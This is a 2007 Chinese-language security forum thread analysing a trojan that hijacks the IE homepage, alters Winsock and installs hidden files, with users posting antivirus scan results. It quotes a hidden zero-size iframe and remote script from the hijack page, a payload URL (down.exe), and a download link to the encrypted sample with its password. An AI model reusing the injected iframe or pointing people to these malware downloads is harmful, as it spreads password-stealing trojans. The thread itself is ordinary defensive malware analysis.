奇怪的病毒

nkevin

昨晚一个朋友给的，让我帮他研究一下。结果研究了半天，只得出如下结论：

1.添加服务： windows xp vista              ，
指向病毒建立的文件; c:\windows\realplayer.com.cn.ini
2.添加一个几位数字的驱动程序，具体忘了。。。。。。名字记得是：2*.sys

奇怪的是，这个文件，还有一个windows下的com*.dll，无论是win下，dos下，pe下，都找不到文件。但是SRE确能够扫描出来。

这个是让我一直很疑惑的。希望大家帮忙看看，怎么回事？

3.修改winsock，添加一个值

结果：浏览器（我用的遨游），打不开网页了。QQ正常，PING 网址正常。

4.修改IE主页

这个我搞不明白了，修改winsock后，网页都打不开了，它还改主页干什么。。。。。。。。。。

IE修改后的主页：http://94ak.com

通过查看源代码，该网站指向：

<iframe src=http://www.851733.cn/htm/wm/wm2.htm width=0 height=0></iframe><script language=javascript src=http://94ak.com/qq.js></script></BODY></HTML>

打开的htm文件，是java的。我不懂编程，只能研究到这里了，希望有高人帮忙看看，这个java页面，是干什么的。

5. 创建IE进程



样本加密，解压密码： virus


样本 346KB，我不想分卷了，这样大家下载也麻烦，直接给出我网盘地址了：

http://www.esnips.com/doc/e04fdb87-63f5-444b-9b31-5e6e5b043fa3/g0ld

mofunzone

Starting the file scan:

Begin scan in 'C:\Documents and Settings\Administrator\My Documents\g0ld'
C:\Documents and Settings\Administrator\My Documents\g0ld\
  g0ld.com
      [DETECTION] Is the Trojan horse TR/PCK.PolyCrypt.B.1141
      [INFO]      The file was deleted!

solcroft

原帖由 nkevin 于 2007-9-6 11:42 发表
通过查看源代码，该网站指向：

<iframe src=http://www.851733.cn/htm/wm/wm2.htm width=0height=0></iframe><script language=javascriptsrc=http://94ak.com/qq.js></script></BODY></HTML>

打开的htm文件，是java的。我不懂编程，只能研究到这里了，希望有高人帮忙看看，这个java页面，是干什么的。

www.851733.cn/htm/down.exe

红心王子

已删除：病毒 Packed.Win32.PolyCrypt.b        文件　: C:\Documents and Settings\Administrator\桌面\g0ld.rar/g0ld.com//RPCrypt

mofunzone

Starting the file scan:

Begin scan in 'C:\TDDOWNLOAD\down.exe'
C:\TDDOWNLOAD\
  down.exe
      [DETECTION] Is the Trojan horse TR/PSW.Delf.WH.13
      [INFO]      The file was deleted!

啊弥陀佛

微点砍掉

[ 本帖最后由 啊弥陀佛 于 2007-9-6 11:06 编辑 ]

红心王子

江民杀毒 10.00.650 2007.09.04 2007-09-04 Trojan/Agent.jxk

wangjay1980

detected: virus Worm.Win32.QQPass.c        File: E:\&Iuml;&Acirc;&Ocirc;&Oslash;&raquo;ù&micro;&Oslash;\down.exe//PE_Patch.UPX//UPX

绅博周幸

NOD32 PASS

东京时空

AVAST最近表现不够好。